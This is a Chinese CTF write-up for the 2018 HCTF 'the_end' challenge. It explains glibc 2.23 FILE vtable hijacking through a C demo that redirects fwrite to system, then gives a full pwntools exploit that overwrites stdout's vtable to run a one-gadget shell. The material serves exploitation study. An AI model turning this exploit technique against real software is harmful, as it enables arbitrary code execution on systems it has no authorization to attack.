Vtable Hijack--2018 HCTF the_end

通过之前的分析IO函数基本上都会取调用_IO_FILE_plus 的vtable里的函数指针,如果我们可以控制这个指针,就可以控制程序的执行流

glibc2.23

一种方法就是改vtable里的指针但是

image-20230402114035931

2.23libc里的_IO_file_jumps不可写的

那就只能伪造整个伪造_IO_FILE_plus 里的vtable为我们可写可控制的区域,比如我们alloc的堆

#include <stdio.h>
#define system_ptr 0x7ffff7a523a0;

int main(void)
{
FILE *fp;
long long *vtable_addr,*fake_vtable;

fp=fopen("flag","rw");
fake_vtable=malloc(0x40);

vtable_addr=(long long *)((long long)fp+0xd8); //vtable offset

vtable_addr[0]=(long long)fake_vtable;

memcpy(fp,"sh",3);

fake_vtable[7]=system_ptr; //xsputn

fwrite("hi",2,1,fp);
}

fwrite函数会调用vtable里**__xsputn指向的libio/fileops.c里的_IO_new_file_xsputn**函数,传入的参数为文件流结构体_IO_FILE,数据目标地址,读取总字节数

image-20230402114847219

image-20230402115216810

2018 HCTF the_end

grxer@grxer /m/h/S/c/p/io_file> checksec the_end 
[*] '/mnt/hgfs/Share/ctfwiki/pwn/io_file/the_end'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled

程序有五个字节的任意地址写,泄露了libc的基地址

hijack IO_2_1_stdout vtable _setbuf

程序最后调用了exit,前面对exit的sc解析调用 exit 后,会遍历 _IO_list_all ,挨个判断stderr stdout stdin

 for (fp = (_IO_FILE *) _IO_list_all; fp; fp = fp->_chain)
{
if (! (fp->_flags & _IO_UNBUFFERED)
/* Iff stream is un-orientated, it wasn't used. */
&& fp->_mode != 0)
{

if条件成立会调用vtable_setbuf 函数。_IO_UNBUFFERED为2

image-20230403113124697

只有stdout符合条件,所有我们劫持这个

两个字节修改stdout的vtable到一个伪造的vtable上,这个vtable的+0x58处必须是一个libc中的地址,因为我们只剩下三字节节的修改权力

image-20230403121636295

合适,所有选择0x7ffff7dd1968-0x58位置当作vtable距离stdin+0x30位置

再往vtable+0x58写入onegadget即可

image-20230403125159852

由于关闭了输出流,cat flag > &0或exec 1>&0重定向流

from pwn import *
from LibcSearcher import *
context(os='linux',arch='amd64')
pwnfile='./the_end'
elf = ELF(pwnfile)
rop = ROP(pwnfile)
if args['REMOTE']:
io = remote('node4.buuoj.cn','25172')
else:
io = process(pwnfile)
r = lambda x: io.recv(x)
ra = lambda: io.recvall()
rl = lambda: io.recvline(keepends=True)
ru = lambda x: io.recvuntil(x, drop=True)
s = lambda x: io.send(x)
sl = lambda x: io.sendline(x)
sa = lambda x, y: io.sendafter(x, y)
sla = lambda x, y: io.sendlineafter(x, y)
ia = lambda: io.interactive()
c = lambda: io.close()
li = lambda x: log.info(x)
db = lambda x : gdb.attach(io,x)
dbio= lambda : gdb.attach(io)
uu32 = lambda x : u32(x.ljust(4,b'\x00'))
uu64 = lambda x : u64(x.ljust(8,b'\x00'))
p =lambda x,y:print("\033[4;36;40m"+x+":\033[0m" + "\033[7;33;40m[*]\033[0m " + "\033[1;31;40m" + hex(y) + "\033[0m")
ru(b'a gift ')
sleep_ad=int(ru(b','),16)
p('sleep',sleep_ad)
libc=LibcSearcher('sleep',sleep_ad)
base=sleep_ad-libc.dump('sleep')
p('base',base)
onegadget=base+0xf02b0
stdin=libc.dump('_IO_2_1_stdin_')+base
stdout=libc.dump('_IO_2_1_stdout_')+base
# gdb.attach(io)
# db('b exit')
ru(b'\n')
for i in range(2):
s(p64(stdout+0xd8+i))
s(p8(p64(stdin+0x30)[i]))
# dbio
# gdb.attach(io)
for i in range(3):
s(p64(stdin+0x30+0x58+i))
s(p8(p64(onegadget)[i]))
io.interactive()